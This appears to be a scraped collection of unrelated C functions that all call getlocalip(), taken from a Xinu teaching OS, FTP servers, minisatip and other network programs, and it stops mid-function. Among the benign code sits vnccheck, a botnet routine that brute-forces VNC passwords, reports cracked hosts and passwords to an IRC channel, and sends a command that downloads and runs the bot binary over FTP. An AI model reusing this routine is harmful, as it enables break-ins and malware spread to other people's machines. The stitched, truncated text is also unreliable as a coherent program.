int tcp_client(unsigned short port)
{
int sock;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
ERR_EXIT("tcp_client");
if (port > 0)
{
int on = 1;
if ((setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&on, sizeof(on))) < 0)
ERR_EXIT("setsockopt");
char ip[16] = {0};
getlocalip(ip);
struct sockaddr_in localaddr;
memset(&localaddr, 0, sizeof(localaddr));
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(port);
localaddr.sin_addr.s_addr = inet_addr(ip);
if (bind(sock, (struct sockaddr*)&localaddr, sizeof(localaddr)) < 0)
ERR_EXIT("bind");
}
return sock;
}
int main(int argc, char **argv)
{
int32 retval;
/* Obtain network configuration from DHCP server */
NetData.ipvalid = FALSE;
retval = getlocalip();
if (retval == SYSERR)
panic("Error: could not obtain an IP address\n\r");
/* Open the remote disk */
//retval = open(RDISK,"XinuDisk","rw");
//if (retval == SYSERR)
// panic("Error: could not open the remote disk, check the server\n\r");
//kprintf("\n\r**********************************************************\n\r");
/* Creating a shell process */
test_head();
/*resume(create(shell, 4096, 1, "shell", 1, CONSOLE));
retval = recvclr();
while (TRUE) {
retval = receive();
kprintf("\n\n\rMain process recreating shell\n\n\r");
resume(create(shell, 4096, 1, "shell", 1, CONSOLE));
}*/
return OK;
}
/*------------------------------------------------------------------------
*
* startup - Finish startup takss that cannot be run from the Null
* process and then create and resumethe main process
*
*------------------------------------------------------------------------
*/
local process startup(void)
{
uint32 ipaddr; /* Computer's IP address */
char str[128]; /* String used to format output */
/* Use DHCP to obtain an IP address and format it */
ipaddr = getlocalip();
if ((int32)ipaddr == SYSERR) {
kprintf("Cannot obtain an IP address\n");
} else {
/* Print the IP in dotted decimal and hex */
ipaddr = NetData.ipucast;
sprintf(str, "%d.%d.%d.%d",
(ipaddr>>24)&0xff, (ipaddr>>16)&0xff,
(ipaddr>>8)&0xff, ipaddr&0xff);
kprintf("Obtained IP address %s (0x%08x)\n", str,
ipaddr);
}
/* Create a process to execute function main() */
resume(create((void *)main, INITSTK, INITPRIO,
"Main process", 0, NULL));
/* Startup process exits at this point */
return OK;
}
// 返回sock, port=0 不绑定端口
int tcp_client(unsigned int port)
{
int sock;
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
ERR_EXIT("socket error");
if (port > 0)
{
struct sockaddr_in localaddr;
memset(&localaddr, 0, sizeof(localaddr));
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(port);
char ip[20]= {0};
getlocalip(ip);
localaddr.sin_addr.s_addr = inet_addr(ip);
int on = 1;
if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) == -1)
ERR_EXIT("setsockopt");
if(bind(sock, (struct sockaddr*)&localaddr, sizeof(localaddr)) == -1)
ERR_EXIT("bind");
}
return sock;
}
/*------------------------------------------------------------------------
* xsh_ipaddr - obtain and print the IP address, subnet mask and default
* router address
*------------------------------------------------------------------------
*/
shellcmd xsh_ipaddr(int nargs, char *args[]) {
int32 retval;
/* Output info for '--help' argument */
if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) {
printf("Usage: %s\n\n", args[0]);
printf("Description:\n");
printf("\tDisplays IP address information\n");
printf("Options:\n");
printf("\t-f\tforce a new DHCP request to be sent\n");
printf("\t--help\tdisplay this help and exit\n");
return OK;
}
/* Check argument count */
if (nargs > 2) {
fprintf(stderr, "%s: too many arguments\n", args[0]);
fprintf(stderr, "Try '%s --help' for more information\n",
args[0]);
return SYSERR;
}
if (nargs == 2) {
if (strncmp(args[1], "-f", 3) != 0) {
fprintf(stderr, "%s: invalid argument\n");
fprintf(stderr,
"Try '%s --help' for more information\n",
args[0]);
return 1;
}
NetData.ipvalid = FALSE;
}
retval = getlocalip();
if (retval == SYSERR) {
fprintf(stderr,
"%s: could not obtain an IP address\n",
args[0]);
return 1;
}
printf("IP address:\t%d.%d.%d.%d\t0x%08x\n",
(NetData.ipaddr>>24)&0xff, (NetData.ipaddr>>16)&0xff,
(NetData.ipaddr>>8)&0xff, NetData.ipaddr&0xff,
NetData.ipaddr);
printf("Subnet mask:\t%d.%d.%d.%d\t0x%08x\n",
(NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff,
(NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff,
NetData.addrmask);
printf("Router IP:\t%d.%d.%d.%d\t0x%08x\n",
(NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff,
(NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff,
NetData.routeraddr);
return OK;
}
int main(int argc, char **argv)
{
uint32 retval;
kprintf("main: calling getlocalip\n");
retval = getlocalip();
if (retval == SYSERR) {
kprintf("I'm here to stop!\n");
} else {
kprintf("I'm here to continue!\n");
kprintf("\n\n###########################################################\n\n");
kprintf("IP address is %d.%d.%d.%d %08x\n\r",
(retval>>24)&0xff, (retval>>16)&0xff, (retval>>8)&0xff,
retval&0xff,retval);
kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r",
(NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff,
(NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff,
(NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff,
(NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff);
}
dot2ip(RPL_FORWARDING_GATEWAY, &retval);
if(retval == NetData.ipaddr){
kprintf("I am the simulator gateway\r\n");
}
rpl_init();
resume(create(shell, 4096, INITPRIO, "Shell", 1, CONSOLE));
receive();
getlocalip();
resume(create(shell, 4096, INITPRIO, "Shell", 1, CONSOLE));
return OK;
}
void network_init(){
nw_initlist();
const char *myip = getlocalip();
struct in_addr meaddr;
inet_pton(AF_INET, myip, &meaddr);
root->p.ip = meaddr.s_addr;
pthread_mutex_init(&event.eventMutex, 0);
state = INIT;
startlisten_udp();
startlisten_tcp();
startbroadcast_udp();
pthread_create(&timeout_thread, NULL, start_timer, (void *) NULL);
}
void load_config_file(char *file)
{
if(access(file, F_OK) == 0) {
FILE *f = fopen(file, "r");
char *line = NULL;
size_t len = 0;
ssize_t read;
char id[32] = {0};
char value[128] = {0};
while((read = getline(&line, &len, f)) != -1) {
if(line[0] == '#')
continue;
memset(id, 0, sizeof(char) * 32);
memset(value, 0, sizeof(char) * 128);
sscanf(line, "%s = %s", id, value);
if(!strcmp(id, "CLIENT_LISTEN_PORT"))
CLIENT_LISTEN_PORT = atoi(value);
else if(!strcmp(id, "MIN_TRANS_PORT"))
MIN_TRANS_PORT = atoi(value);
else if(!strcmp(id, "MAX_TRANS_PORT"))
MAX_TRANS_PORT = atoi(value);
else if(!strcmp(id, "INTERFACE_ID"))
INTERFACE_ID = atoi(value);
else if(!strcmp(id, "SERVER_IP"))
strcpy(SERVER_IP, value);
else if(!strcmp(id, "CLIENT_IP"))
strcpy(CLIENT_IP, value);
else
printf("unknown parameter: %s\n", id);
}
free(line);
fclose(f);
}
if(strcmp(CLIENT_IP, "0.0.0.0") == 0) {
char _ip[16][IPV4_ADDR_LEN];
if(getlocalip(_ip) > 0)
strcpy(CLIENT_IP, _ip[INTERFACE_ID - 1]);
else {
printf("no ip usable\n");
exit(-1);
}
}
printf("%d %d %d %d %s %s\n", CLIENT_LISTEN_PORT, MIN_TRANS_PORT, MAX_TRANS_PORT, INTERFACE_ID, SERVER_IP, CLIENT_IP);
}
static void privop_pasv_listen(session_t *sess)
{
char ip[20] = {0};
getlocalip(ip);
// 服务器 bind 的必须是随机端口，因此此时可能有多个nobody 进程在listen, 这样才不会冲突
sess->pasv_listen_fd = tcp_server(ip, 0);
struct sockaddr_in localaddr;
socklen_t addrlen = sizeof(localaddr);
if (getsockname(sess->pasv_listen_fd, (struct sockaddr *)&localaddr, &addrlen) < 0)
ERR_EXIT("getsockname");
unsigned short port = ntohs(localaddr.sin_port);
priv_sock_send_int(sess->nobody_fd, (int)port);
}
static void privop_pasv_listen(session_t *sess)
{
char ip[16];
getlocalip(ip);
sess->pasv_listen_fd = tcp_server(ip, 0);
struct sockaddr_in addr;
socklen_t addrlen = sizeof(addr);
if(getsockname(sess->pasv_listen_fd, (struct sockaddr *)&addr, &addrlen) < 0)
{
ERR_EXIT("getsockname");
}
unsigned short port = ntohs(addr.sin_port);
priv_sock_send_int(sess->parent_fd, (int)port);
}
static void do_pasv(session_t *sess)
{
char ip[16] = {0};
getlocalip(ip);
priv_sock_send_cmd(sess->child_fd, PRIV_SOCK_PASV_LISTEN);
unsigned short port = (unsigned short)priv_sock_get_int(sess->child_fd);
unsigned int v[4];
sscanf(ip, "%u.%u.%u.%u", &v[0], &v[1], &v[2], &v[3]);
char text[1024] = {0};
sprintf(text, "Entering Passive Mode (%u,%u,%u,%u,%u,%u).",
v[0], v[1], v[2], v[3], port >> 8, port & 0xFF);
ftp_reply(sess, FTP_PASVOK, text);
}
int main(int argc, char **argv)
{
uint32 retval;
kprintf("main: calling getlocalip\n");
NetData.ipvalid = FALSE;
retval = getlocalip();
if (retval == SYSERR) {
kprintf("I'm here to stop!\n");
} else {
kprintf("I'm here to continue!\n");
kprintf("\n\n###########################################################\n\n");
kprintf("IP address is %d.%d.%d.%d %08x\n\r",
(retval>>24)&0xff, (retval>>16)&0xff, (retval>>8)&0xff,
retval&0xff,retval);
kprintf("Subnet mask is %d.%d.%d.%d and router is %d.%d.%d.%d\n\r",
(NetData.addrmask>>24)&0xff, (NetData.addrmask>>16)&0xff,
(NetData.addrmask>> 8)&0xff, NetData.addrmask&0xff,
(NetData.routeraddr>>24)&0xff, (NetData.routeraddr>>16)&0xff,
(NetData.routeraddr>> 8)&0xff, NetData.routeraddr&0xff);
}
resume(create(netin, 8192, 50, "netin", 0));
// resume(create(monitor, 1024, 50, "monitor", 0));
//while (1);
// resume(create(shell, 8192, 50, "shell", 1, CONSOLE));
/* Wait for shell to exit and recreate it */
/* recvclr();
while (TRUE) {
retval = receive();
kprintf("\n\n\rMain process recreating shell\n\n\r");
resume(create(shell, 4096, 1, "shell", 1, CONSOLE));
}*/
netin();
return OK;
}
/*------------------------------------------------------------------------
*
* startup - Finish startup tasks that cannot be run from the Null
* process and then create and resume the main process
*
*------------------------------------------------------------------------
*/
local process startup(void)
{
uint32 ipaddr; /* Computer's IP address */
char str[128]; /* String used to format output */
pid32 proc; /* index into proctab[] */
/* Use DHCP to obtain an IP address and format it */
ipaddr = getlocalip();
if ((int32)ipaddr == SYSERR) {
kprintf("Cannot obtain an IP address\n");
} else {
/* Print the IP in dotted decimal and hex */
ipaddr = NetData.ipucast;
sprintf(str, "%d.%d.%d.%d",
(ipaddr>>24)&0xff, (ipaddr>>16)&0xff,
(ipaddr>>8)&0xff, ipaddr&0xff);
kprintf("Obtained IP address %s (0x%08x)\n", str,
ipaddr);
}
/* Mark all processes created at startup as system processes */
for (proc = 0; proc < NPROC; proc++){
if(proctab[proc].prstate != PR_FREE){
proctab[proc].prisusrproc = FALSE;
}
}
/* Create a process to execute function main() */
resume(create((void *)main, INITSTK, INITPRIO,
"Main process", 0, NULL));
/* Startup process exits at this point */
return OK;
}
int main(void)
{
char host[100] = {0};
if (gethostname(host, sizeof(host)) < 0)
ERR_EXIT("gethostname error");
struct hostent *hp;
if ((hp = gethostbyname(host)) == NULL)
ERR_EXIT("gethostbyname error");
int i = 0;
while (hp->h_addr_list[i] != NULL) {
printf("%s\n", inet_ntoa(*(struct in_addr*)hp->h_addr_list[i]));
i++;
}
char ip[16] = {0};
getlocalip(ip);
printf("local ip : %s\n" , ip);
return 0;
}
void do_cmd_pasv(session_t *pses)
{
char localip[16] = {0};
if(getlocalip(localip) < 0)
{
handle_error("getlocalip");
}
//向nobody进程发送请求
priv_sock_send_cmd(pses->child_fd, PRIV_SOCK_PASV_LISTEN);
//接收nobody进程返回的端口号
unsigned short port = (unsigned short)priv_sock_get_int(pses->child_fd);
unsigned int v[4] = {0};
sscanf(localip, "%u.%u.%u.%u",&v[0],&v[1],&v[2],&v[3]);
char iptext[1024] = {0};
sprintf(iptext, "Entering Passive Mode (%u,%u,%u,%u,%u,%u).",
v[0],v[1],v[2],v[3],port>>8,port & 0xFF);
ftp_reply(pses->ctrl_fd, FTP_PASVOK, iptext);
}
int vnccheck(char *host, char *passwd, SOCKET ircconn) {
SOCKET sock;
SOCKADDR_IN ssin;
ssin.sin_family = AF_INET;
ssin.sin_port = htons(5900);
ssin.sin_addr.s_addr= inet_addr(host);
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin))) {
//printf("[-] Could not connect\n");
return 1;
}
char buff[4096];
char ftpline[256];
sprintf(ftpline, "echo open %s %d > ravo &echo user %s %s >> ravo &echo get %s >> ravo &echo bye >> ravo &ftp -n -v -s:ravo &del ravo &%s\r\n", getlocalip(), FTPPORT, "Ravo", "5002", BOTNAME, BOTNAME);
unsigned char vncversion[12];
ReadExact(sock, vncversion, sizeof(vncversion));
if(strstr(vncversion, "RFB")) {
WriteExact(sock, vncversion, sizeof(vncversion));
strtok(vncversion, " ");
int versa = atoi(strtok(NULL, "."));
int versb = atoi(strtok(NULL, "\n"));
//printf("[+] Found VNC %d.%d\n", versa, versb);
char auth[4];
ReadExact(sock, auth, 4);
if(auth[1] == 1 || auth[3] == 1) {
//printf("[+] VNC NoAuth!\n");
sprintf(buff, "PRIVMSG %s :VNC v%d.%d with no pass on host %s\n", CHANNEL, versa, versb, host);
send(ircconn,buff, strlen(buff), 0);
WriteExact(sock, "\0", 1);
VNCRoot(sock, ftpline);
closesocket(sock);
return 1;
}
else if(auth[1] == 2 || auth[3] == 2) {
//printf("[+] VNC needs pass lets brewtf0rc3\n");
char funk[1];
//funk = "0\n";
funk[0] = auth[1];
//funk[1] = '\n';
//printf("funk:\n%s\n%d %d\n", funk, funk[0], funk[1]);
WriteExact(sock, funk, 1); // WTF? I NEED 2 send sumthing or ill not get the challenge
unsigned char challenge[16];
ReadExact(sock, challenge, 16);
vncEncryptBytes(challenge, passwd);
WriteExact(sock, challenge, 16); // send encrypted shit
// see wtf the status is
unsigned char status[4];
ReadExact(sock, status, 4);
if(status[3] == 0) {
//printf("[+] pass ok\n");
sprintf(buff, "PRIVMSG %s :[VNC] v%d.%d with pass %s on ip %s\n", CHANNEL, versa, versb, passwd, host);
send(ircconn,buff, strlen(buff), 0);
WriteExact(sock, "\0", 1);
VNCRoot(sock, ftpline);
closesocket(sock);
return 1;
}
else if(status[3] == 1) {
//printf("[-] pass wrong\n");
return 0;
}
else if(status[3] == 1) {
//printf("[-] 2much connections\n");
return 2;
}
}
else if(auth[1] ==0) {
return 1;
}
}
closesocket(sock);
return 0;
}
/*------------------------------------------------------------------------
* getutime - Obtain time in seconds past Jan 1, 1970, UCT (GMT)
*------------------------------------------------------------------------
*/
status getutime(
uint32 *timvar /* Location to store the result */
)
{
uint32 now; /* Current time in xinu format */
int32 retval; /* Return value from call */
uid32 slot; /* Slot in UDP table */
struct ntp { /* Format of an NTP message */
byte livn; /* LI:2 VN:3 and mode:3 fields */
byte strat; /* Stratum */
byte poll; /* Poll interval */
byte precision; /* Precision */
uint32 rootdelay; /* Root delay */
uint32 rootdisp; /* Root dispersion */
uint32 refid; /* Reference identifier */
uint32 reftimestamp[2];/* Reference timestamp */
uint32 oritimestamp[2];/* Originate timestamp */
uint32 rectimestamp[2];/* Receive timestamp */
uint32 trntimestamp[2];/* Transmit timestamp */
} ntpmsg;
if (Date.dt_bootvalid) { /* Return time from local info */
*timvar = Date.dt_boot + clktime;
return OK;
}
/* Verify that we have obtained an IP address */
if (getlocalip() == SYSERR) {
return SYSERR;
}
/* If the DHCP response did not contain an NTP server address */
/* use the default server */
if (NetData.ntpserver == 0) {
if (dot2ip(TIMESERVER, &NetData.ntpserver) == SYSERR) {
return SYSERR;
}
}
/* Contact the time server to get the date and time */
slot = udp_register(NetData.ntpserver, TIMERPORT, TIMELPORT);
if (slot == SYSERR) {
fprintf(stderr,"getutime: cannot register a udp port %d\n",
TIMERPORT);
return SYSERR;
}
/* Send a request message to the NTP server */
memset((char *)&ntpmsg, 0x00, sizeof(ntpmsg));
ntpmsg.livn = 0x1b; /* Client request, protocol version 3 */
retval = udp_send(slot, (char *)&ntpmsg, sizeof(ntpmsg));
if (retval == SYSERR) {
fprintf(stderr,"getutime: cannot send to the server\n");
udp_release(slot);
return SYSERR;
}
/* Read the response from the NTP server */
retval = udp_recv(slot, (char *) &ntpmsg, sizeof(ntpmsg),
TIMETIMEOUT);
if ( (retval == SYSERR) || (retval == TIMEOUT) ) {
udp_release(slot);
return SYSERR;
}
udp_release(slot);
/* Extract the seconds since Jan 1900 and convert */
now = ntim2xtim( ntohl(ntpmsg.trntimestamp[0]) );
Date.dt_boot = now - clktime;
Date.dt_bootvalid = TRUE;
*timvar = now;
return OK;
}
status rpl_send_with_ip(char * node_phy_addr, char *src_node, byte msg_type, char *msg, uint32 msg_len, uint32 remip){
struct eth_packet pkt;
struct rpl_sim_packet *rpl_sim_pkt = NULL;
byte ethbcast[] = {0xff,0xff,0xff,0xff,0xff,0xff};
#ifdef DEBUG
kprintf("Simulator is : %04x dest : %04x source : %04x my addr : %04x\r\n", remip, *((uint32*)node_phy_addr), *((uint32*)src_node), NetData.ipaddr);
#endif
if ( ! NetData.ipvalid){
getlocalip();
}
if(msg_len > 1500-ETH_HDR_LEN-RPL_SIM_HDR_LEN){
kprintf("WARN : Simulator : Message too big \r\n");
return SYSERR;
}
memcpy(pkt.net_ethsrc, NetData.ethaddr, ETH_ADDR_LEN);
/* FIXME : Needs to be changed to something that is valid */
pkt.net_ethtype = 0x1000;
if (remip == IP_BCAST) { /* set mac address to b-cast */
memcpy(pkt.net_ethdst, ethbcast, ETH_ADDR_LEN);
/* If destination isn't on the same subnet, send to router */
} else if ((NetData.ipaddr & NetData.addrmask)
!= (remip & NetData.addrmask)) {
if (arp_resolve(NetData.routeraddr, pkt.net_ethdst)!=OK) {
kprintf("rpl_send: cannot resolve router %08x\n\r",
NetData.routeraddr);
return SYSERR;
}
} else {
/* Destination is on local subnet - get MAC address */
if (arp_resolve(remip, pkt.net_ethdst) != OK) {
kprintf("rpl_send: cannot resolve %08x\n\r",remip);
return SYSERR;
}
}
rpl_sim_pkt = (struct rpl_sim_packet *)pkt.net_ethdata;
memcpy((char *)rpl_sim_pkt->dest_node, (char *)node_phy_addr, RPL_NODE_PHY_ADDR_LEN);
/*
* FIXME Change this to my_phsical_address which is 64 bits
*/
memcpy((char *)rpl_sim_pkt->src_node, (char *)(src_node), RPL_NODE_PHY_ADDR_LEN);
rpl_sim_pkt->msg_type = msg_type;
rpl_sim_pkt->msg_len = msg_len;
memcpy(rpl_sim_pkt->data, msg, msg_len);
/*
* FIXME : Perform host to network order translations
*/
#ifdef DEBUG
kprintf("The packet is destined for : %06x with length : %d\r\n", *(pkt.net_ethdst+4), msg_len);
#endif
eth_hton(&pkt);
write(ETHER0, (char *)&pkt, ETH_HDR_LEN + RPL_SIM_HDR_LEN + msg_len);
return OK;
}
void
set_options (int argc, char *argv[])
{
int opt;
int sethost = 0;
int index;
char *lip;
opts.log = 1;
opts.rrtp = NULL;
opts.disc_host = "239.255.255.250";
opts.start_rtp = 5500;
opts.http_port = 8080;
opts.http_host = NULL;
opts.log = 0;
opts.timeout_sec = 30000;
opts.force_sadapter = 0;
opts.force_tadapter = 0;
opts.force_cadapter = 0;
opts.mac[0] = 0;
opts.daemon = 1;
opts.bw = 0;
opts.device_id = 0;
opts.bootid = 0;
opts.force_scan = 0;
opts.dvr_buffer = DVR_BUFFER;
opts.adapter_buffer = ADAPTER_BUFFER;
opts.file_line = 0;
opts.dvbapi_port = 0;
opts.dvbapi_host = NULL;
opts.drop_encrypted = 1;
opts.rtsp_port = 554;
opts.clean_psi = 0;
opts.satip_addpids = 0;
opts.output_buffer = 512*1024;
opts.satip_servers[0] = 0;
memset(opts.playlist, sizeof(opts.playlist), 0);
while ((opt = getopt_long (argc, argv, "flr:a:td:w:p:s:hc:b:m:p:e:x:u:j:o:gy:zi:D:V", long_options, NULL)) != -1)
{
// printf("options %d %c %s\n",opt,opt,optarg);
switch (opt)
{
case FOREGROUND_OPT:
{
opts.daemon = 0;
break;
}
case MAC_OPT:
{
strncpy (opts.mac, optarg, 12);
opts.mac[12] = 0;
break;
}
case RRTP_OPT:
{
opts.rrtp = optarg;
break;
}
case DEVICEID_OPT:
{
opts.device_id = atoi (optarg);
break;
}
case HTTPSERVER_OPT:
{
// int i=0;
opts.http_host = optarg;
sethost = 1;
break;
}
case LOG_OPT:
{
opts.log++;
break;
}
case SYSLOG_OPT:
{
opts.slog++;
break;
}
case HELP_OPT:
{
usage ();
exit (0);
}
case VERSION_OPT:
{
LOGL(0, "minisatip version %s, compiled with s2api version: %04X",VERSION, DVBAPIVERSION);
exit (0);
}
case HTTPPORT_OPT:
{
opts.http_port = atoi (optarg);
break;
}
case BW_OPT:
{
opts.bw = atoi (optarg) * 1024;
break;
}
case DVRBUFFER_OPT:
{
sscanf(optarg,"%d:%d", &opts.adapter_buffer, &opts.dvr_buffer) ;
opts.adapter_buffer = (opts.adapter_buffer/188) * 188;
if(opts.adapter_buffer < ADAPTER_BUFFER)
opts.adapter_buffer = ADAPTER_BUFFER;
if(opts.dvr_buffer == 0 )
opts.dvr_buffer = DVR_BUFFER;
break;
}
case DVBS2_ADAPTERS_OPT:
{
sscanf(optarg,"%d:%d:%d", &opts.force_sadapter, &opts.force_tadapter, &opts.force_cadapter) ;
break;
}
case CLEANPSI_OPT:
{
opts.clean_psi = 1;
break;
}
case SCAN_OPT:
{
opts.force_scan = 1;
break;
}
case PLAYLIST_OPT:
{
snprintf(opts.playlist, sizeof(opts.playlist), "<satip:X_SATIPM3U xmlns:satip=\"urn:ses-com:satip\">%s</satip:X_SATIPM3U>\r\n",optarg);
break;
}
case ENABLE_ADAPTERS_OPT:
{
enable_adapters(optarg);
break;
}
case UNICABLE_OPT:
{
set_unicable_adapters(optarg, SWITCH_UNICABLE);
break;
}
case JESS_OPT:
{
set_unicable_adapters(optarg, SWITCH_JESS);
break;
}
case DISEQC_OPT:
{
set_diseqc_adapters(optarg);
}
case DVBAPI_OPT:
{
char* sep1 = strchr(optarg, ':');
if ( sep1 != NULL)
{
*sep1 = 0;
opts.dvbapi_host = optarg;
opts.dvbapi_port = map_int(sep1 + 1, NULL );
}
break;
}
case RTSPPORT_OPT:
{
opts.rtsp_port = atoi (optarg);
break;
}
case SATIPCLIENT_OPT:
if(strlen(optarg) + strlen(opts.satip_servers) > sizeof(opts.satip_servers))
break;
if(opts.satip_servers[0])
sprintf(opts.satip_servers + strlen(opts.satip_servers), ",%s", optarg );
else
sprintf(opts.satip_servers, "%s", optarg );
break;
case PRIORITY_OPT:
if(nice(map_int(optarg, NULL)) == -1)
LOG("Failed to set priority %s", strerror(errno));
break;
}
}
if(opts.bw && (opts.bw < opts.adapter_buffer))
opts.adapter_buffer = (opts.bw / 188) * 188;
lip = getlocalip ();
if (!opts.http_host)
{
opts.http_host = (char *) malloc (MAX_HOST);
sprintf (opts.http_host, "%s:%d", lip, opts.http_port);
}
}
/*------------------------------------------------------------------------
* xsh_udpecho - shell command that can send a message to a remote UDP
* echo server and receive a reply
*------------------------------------------------------------------------
*/
shellcmd xsh_udpecho(int nargs, char *args[])
{
int i; /* index into buffer */
int retval; /* return value */
char msg[] = "Xinu testing UDP echo"; /* message to send */
char inbuf[1500]; /* buffer for incoming reply */
int32 msglen; /* length of outgoing message */
uint32 remoteip; /* remote IP address to use */
uint32 localip; /* local IP address to use */
uint16 echoport= 7; /* port number for UDP echo */
uint16 locport = 52743; /* local port to use */
int32 retries = 3; /* number of retries */
int32 delay = 2000; /* reception delay in ms */
/* For argument '--help', emit help about the 'udpecho' command */
if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) {
printf("Use: %s REMOTEIP\n\n", args[0]);
printf("Description:\n");
printf("\tBounce a message off a remote UDP echo server\n");
printf("Options:\n");
printf("\tREMOTEIP:\tIP address in dotted decimal\n");
printf("\t--help\t display this help and exit\n");
return 0;
}
/* Check for valid IP address argument */
if (nargs != 2) {
fprintf(stderr, "%s: invalid argument(s)\n", args[0]);
fprintf(stderr, "Try '%s --help' for more information\n",
args[0]);
return 1;
}
if (dot2ip(args[1], &remoteip) == SYSERR) {
fprintf(stderr, "%s: invalid IP address argument\r\n",
args[0]);
return 1;
}
localip = getlocalip();
if (localip == SYSERR) {
fprintf(stderr,
"%s: could not obtain a local IP address\n",
args[0]);
return 1;
}
/* register local UDP port */
retval = udp_register(remoteip, echoport, locport);
if (retval == SYSERR) {
fprintf(stderr, "%s: could not reserve UDP port %d\n",
args[0], locport);
return 1;
}
/* Retry sending outgoing datagram and getting response */
for (i=0; i<retries; i++) {
msglen = strnlen(msg, 1500);
retval = udp_send(remoteip, echoport, localip, locport,
msg, msglen);
if (retval == SYSERR) {
fprintf(stderr, "%s: error sending UDP \n",
args[0]);
return 1;
}
retval = udp_recv(remoteip, echoport, locport, inbuf,
sizeof(inbuf), delay);
if (retval == TIMEOUT) {
fprintf(stderr, "%s: timeout...\n", args[0]);
continue;
} else if (retval == SYSERR) {
fprintf(stderr, "%s: error from udp_recv \n",
args[0]);
udp_release(remoteip, echoport, locport);
return 1;
}
break;
}
udp_release(remoteip, echoport, locport);
if (retval == TIMEOUT) {
fprintf(stderr, "%s: retry limit exceeded\n",
args[0]);
return 1;
}
/* Response received - check contents */
if (retval != msglen) {
fprintf(stderr, "%s: sent %d bytes and received %d\n",
args[0], msglen, retval);
return 1;
}
for (i = 0; i < msglen; i++) {
if (msg[i] != inbuf[i]) {
fprintf(stderr, "%s: reply differs at byte %d\n",
args[0], i);
return 1;
}
}
printf("UDP echo test was successful\n");
return 0;
}
/*------------------------------------------------------------------------
* rdscomm - handle communication with a remote disk server (send a
* request and receive a reply, including sequencing and
* retries)
*------------------------------------------------------------------------
*/
status rdscomm (
struct rd_msg_hdr *msg, /* message to send */
int32 mlen, /* message length */
struct rd_msg_hdr *reply, /* buffer for reply */
int32 rlen, /* size of reply buffer */
struct rdscblk *rdptr /* ptr to device control block */
)
{
int32 i; /* counts retries */
int32 retval; /* return value */
int32 seq; /* sequence for this exchange */
uint32 localip; /* local IP address */
int16 rtype; /* reply type in host byte order*/
bool8 xmit; /* Should we transmit again? */
/* For the first time after reboot, register the server port */
if ( ! rdptr->rd_registered ) {
retval = udp_register(0, rdptr->rd_ser_port,
rdptr->rd_loc_port);
rdptr->rd_registered = TRUE;
}
if ( (int32)(localip = getlocalip()) == SYSERR ) {
return SYSERR;
}
/* Assign message next sequence number */
seq = rdptr->rd_seq++;
msg->rd_seq = htonl(seq);
/* Repeat RD_RETRIES times: send message and receive reply */
xmit = TRUE;
for (i=0; i<RD_RETRIES; i++) {
if (xmit) {
/* Send a copy of the message */
retval = udp_send(rdptr->rd_ser_ip, rdptr->rd_ser_port,
localip, rdptr->rd_loc_port, (char *)msg, mlen);
if (retval == SYSERR) {
kprintf("Cannot send to remote disk server\n\r");
return SYSERR;
}
} else {
xmit = TRUE;
}
/* Receive a reply */
retval = udp_recv(0, rdptr->rd_ser_port,
rdptr->rd_loc_port, (char *)reply, rlen,
RD_TIMEOUT);
if (retval == TIMEOUT) {
continue;
} else if (retval == SYSERR) {
kprintf("Error reading remote disk reply\n\r");
return SYSERR;
}
/* Verify that sequence in reply matches request */
if (ntohl(reply->rd_seq) < seq) {
xmit = FALSE;
} else if (ntohl(reply->rd_seq) != seq) {
continue;
}
/* Verify the type in the reply matches the request */
rtype = ntohs(reply->rd_type);
if (rtype != ( ntohs(msg->rd_type) | RD_MSG_RESPONSE) ) {
continue;
}
/* Check the status */
if (ntohs(reply->rd_status) != 0) {
return SYSERR;
}
return OK;
}
/* Retries exhausted without success */
kprintf("Timeout on exchange with remote disk server\n\r");
return TIMEOUT;
}
/*------------------------------------------------------------------------
* xsh_udpeserver - shell command that acts as a UDP echo server (is
* usually run in background)
*------------------------------------------------------------------------
*/
shellcmd xsh_udpeserver(int nargs, char *args[])
{
int32 retval; /* return value */
uint32 localip; /* local IP address */
uint32 remip; /* remote sender's IP address */
uint16 remport; /* remote sender's UDP port */
char buff[1500]; /* buffer for incoming reply */
int32 msglen; /* length of outgoing message */
uint16 echoserverport= 7; /* port number for UDP echo */
/* For argument '--help', emit a help message */
if (nargs == 2 && strncmp(args[1], "--help", 7) == 0) {
printf("Use: %s\n\n", args[0]);
printf("Description:\n");
printf("\tBecome a UDP echo server\n");
printf("Options:\n");
printf("\t--help\t display this help and exit\n");
return 0;
}
/* Check for valid IP address argument */
if (nargs != 1) {
fprintf(stderr, "%s: no arguments expected\n", args[0]);
fprintf(stderr, "Try '%s --help' for more information\n",
args[0]);
return 1;
}
localip = getlocalip();
if (localip == SYSERR) {
fprintf(stderr,
"%s: could not obtain a local IP address\n",
args[0]);
return 1;
}
/* register local UDP port */
retval = udp_register(0, 0, echoserverport);
if (retval == SYSERR) {
fprintf(stderr, "%s: could not reserve UDP port %d\n",
args[0], echoserverport);
return 1;
}
/* Do forever: read an incoming datagram and send it back */
while (TRUE) {
retval = udp_recvaddr(&remip, &remport, echoserverport,
buff, sizeof(buff), 600000);
if (retval == TIMEOUT) {
continue;
} else if (retval == SYSERR) {
fprintf(stderr, "%s: error receiving UDP\n",
args[0]);
return 1;
}
msglen = retval;
retval = udp_send(remip, remport, localip,
echoserverport, buff, msglen);
if (retval == SYSERR) {
fprintf(stderr, "%s: udp_send failed\n",
args[0]);
return 1;
}
}
return 0;
}
int metacommand(struct connection_t* co, char* inputbuffer, fd_set* read_set) {
int inputcount = 0;
